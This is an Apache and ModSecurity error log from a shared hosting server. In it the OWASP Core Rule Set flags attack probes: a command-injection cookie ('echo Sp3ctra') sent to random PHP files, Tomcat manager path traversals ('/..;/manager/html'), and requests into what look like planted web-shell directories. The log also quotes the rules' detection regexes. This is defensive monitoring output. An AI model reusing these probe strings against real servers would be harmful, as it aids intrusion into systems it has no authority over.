[Fri Jul 17 08:58:50.812050 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lezzarotech.com"] [uri "/bybovxkj.php"] [unique_id "almhclCBpfuYyhJ140vTYQAAAB4"], referer: www.google.com
[Fri Jul 17 08:58:50.822427 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.839263 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almhclCBpfuYyhJ140vTYQAAAB4"], referer: www.google.com
[Fri Jul 17 08:58:50.915753 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.929684 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.977488 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:51.082096 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:51.082185 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:51.178789 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:51.180917 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:51.182794 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:51.281091 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:51.285415 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:51.996766 2026] [security2:error] [pid 2019501:tid 2019501] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "lezzarotech.com"] [uri "/wp-plain.php"] [unique_id "almhc7EWOaI5pmYo9fnPeAAAAAA"], referer: www.google.com
[Fri Jul 17 08:58:51.996831 2026] [security2:error] [pid 2019501:tid 2019501] [client 20.46.252.52:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "lezzarotech.com"] [uri "/wp-plain.php"] [unique_id "almhc7EWOaI5pmYo9fnPeAAAAAA"], referer: www.google.com
[Fri Jul 17 08:58:51.999308 2026] [security2:error] [pid 2019501:tid 2019501] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lezzarotech.com"] [uri "/wp-plain.php"] [unique_id "almhc7EWOaI5pmYo9fnPeAAAAAA"], referer: www.google.com
[Fri Jul 17 08:58:52.021940 2026] [security2:error] [pid 2019501:tid 2019501] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almhc7EWOaI5pmYo9fnPeAAAAAA"], referer: www.google.com
[Fri Jul 17 08:58:52.082358 2026] [security2:error] [pid 2032156:tid 2032156] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "lezzarotech.com"] [uri "/jpmsnzau.php"] [unique_id "almhdK14q1EBnanVMYGkcAAAAAk"], referer: www.google.com
[Fri Jul 17 08:58:52.083484 2026] [security2:error] [pid 2032156:tid 2032156] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lezzarotech.com"] [uri "/jpmsnzau.php"] [unique_id "almhdK14q1EBnanVMYGkcAAAAAk"], referer: www.google.com
[Fri Jul 17 08:58:52.115897 2026] [security2:error] [pid 2032156:tid 2032156] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almhdK14q1EBnanVMYGkcAAAAAk"], referer: www.google.com
[Fri Jul 17 08:58:52.653887 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:52.851279 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:52.871550 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:52.943286 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:52.969683 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:53.113726 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:53.208695 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:53.368047 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:53.780734 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:53.846531 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:34026] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:54.004874 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:54.070963 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:54.191765 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:34072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:54.193172 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:54.278160 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:54.438896 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:54.627501 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:55.518177 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:55.519745 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:55.739283 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python2-docs/NEWS"] [unique_id "almhdwRRrtuZqNDDSqWwxgAAABo"]
[Fri Jul 17 08:58:55.739314 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python2-docs/NEWS"] [unique_id "almhdwRRrtuZqNDDSqWwxgAAABo"]
[Fri Jul 17 08:58:56.714824 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:56.816227 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:56.928974 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/drivers/pvpanic/bind
[Fri Jul 17 08:58:56.933869 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:34222] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:57.022996 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:57.334418 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:57.337545 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:57.443695 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:59.799909 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:34364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:01.190810 2026] [ssl:error] [pid 1993619:tid 1993619] (5)Input/output error: [client 66.85.158.91:34412] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:03.851402 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:41910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:05.534697 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:41988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:05.672686 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:42006] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:08.315088 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:42186] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:09.229153 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:42238] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:09.553323 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:42266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:10.169576 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:42272] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:10.206502 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 114.119.159.109:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/tmp/20250923-065918-aNH37qkAL9E4gsDolvWkRgAAACc-file-4Tu1UX, referer: https://anandaobauae.org/uploads/img/news/m-iraq/root/tmp/
[Fri Jul 17 08:59:13.357761 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb7\\x80\\xe0\\xb7\\x9a\\xe0\\xb6\\x9c\\xe0\\xb7\\x8f-\\xe0\\xb6\\xb8\\xe0\\xb7\\x9d\\xe0\\xb6\\xa7\\xe0\\xb6\\xbb\\xe0\\xb7\\x8a-\\xe0\\xb6\\xbb\\xe0\\xb6\\xae\\xe0\\xb6\\xba-\\xe0\\xb7\\x83\\xe0\\xb6\\xb3\\xe0\\xb7\\x84\\xe0\\xb7\\x8f-\\xe0\\xb6\\xb6\\xe0\\xb6\\xbd\\xe0\\xb6\\xb4\\xe0\\xb6\\xad\\xe0\\xb7\\x8a/feed/"] [unique_id "almhiVCBpfuYyhJ140vTbQAAAB4"]
[Fri Jul 17 08:59:13.358133 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb7\\x80\\xe0\\xb7\\x9a\\xe0\\xb6\\x9c\\xe0\\xb7\\x8f-\\xe0\\xb6\\xb8\\xe0\\xb7\\x9d\\xe0\\xb6\\xa7\\xe0\\xb6\\xbb\\xe0\\xb7\\x8a-\\xe0\\xb6\\xbb\\xe0\\xb6\\xae\\xe0\\xb6\\xba-\\xe0\\xb7\\x83\\xe0\\xb6\\xb3\\xe0\\xb7\\x84\\xe0\\xb7\\x8f-\\xe0\\xb6\\xb6\\xe0\\xb6\\xbd\\xe0\\xb6\\xb4\\xe0\\xb6\\xad\\xe0\\xb7\\x8a/feed/"] [unique_id "almhiVCBpfuYyhJ140vTbQAAAB4"]
[Fri Jul 17 08:59:13.459554 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almhiVCBpfuYyhJ140vTbQAAAB4"]
[Fri Jul 17 08:59:14.469293 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almhiYe39YUk0SgV8AU7CAAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1189&page_105=1108
[Fri Jul 17 08:59:14.469429 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almhiYe39YUk0SgV8AU7CAAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1189&page_105=1108
[Fri Jul 17 08:59:17.325941 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:48844] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:23.075095 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.109.103.43:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /../manager/html"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "jrdc.lk"] [uri "/..;/manager/html"] [unique_id "almhk0gVnBK6wAv37w6tGwAAABQ"]
[Fri Jul 17 08:59:23.075458 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/..;/manager/html"] [unique_id "almhk0gVnBK6wAv37w6tGwAAABQ"]
[Fri Jul 17 08:59:23.075866 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almhk0gVnBK6wAv37w6tGwAAABQ"]
[Fri Jul 17 08:59:23.699461 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.109.103.43:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /../host-manager/html"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "jrdc.lk"] [uri "/..;/host-manager/html"] [unique_id "almhk7oj0IkvhSCYadmCWwAAAAQ"]
[Fri Jul 17 08:59:23.699828 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/..;/host-manager/html"] [unique_id "almhk7oj0IkvhSCYadmCWwAAAAQ"]
[Fri Jul 17 08:59:23.700165 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almhk7oj0IkvhSCYadmCWwAAAAQ"]
[Fri Jul 17 08:59:24.241395 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.109.103.43:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /../../manager/html/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "jrdc.lk"] [uri "/..;/..;/manager/html;/"] [unique_id "almhlOjME1mgqYZ5O94m7QAAAAE"]
[Fri Jul 17 08:59:24.241723 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/..;/..;/manager/html;/"] [unique_id "almhlOjME1mgqYZ5O94m7QAAAAE"]
[Fri Jul 17 08:59:24.242154 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almhlOjME1mgqYZ5O94m7QAAAAE"]
[Fri Jul 17 08:59:24.929488 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.109.103.43:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /../../host-manager/html/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "jrdc.lk"] [uri "/..;/..;/host-manager/html;/"] [unique_id "almhlFh1WDijTxd1xw5NCgAAAAc"]
[Fri Jul 17 08:59:24.929798 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/..;/..;/host-manager/html;/"] [unique_id "almhlFh1WDijTxd1xw5NCgAAAAc"]
[Fri Jul 17 08:59:24.930107 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almhlFh1WDijTxd1xw5NCgAAAAc"]
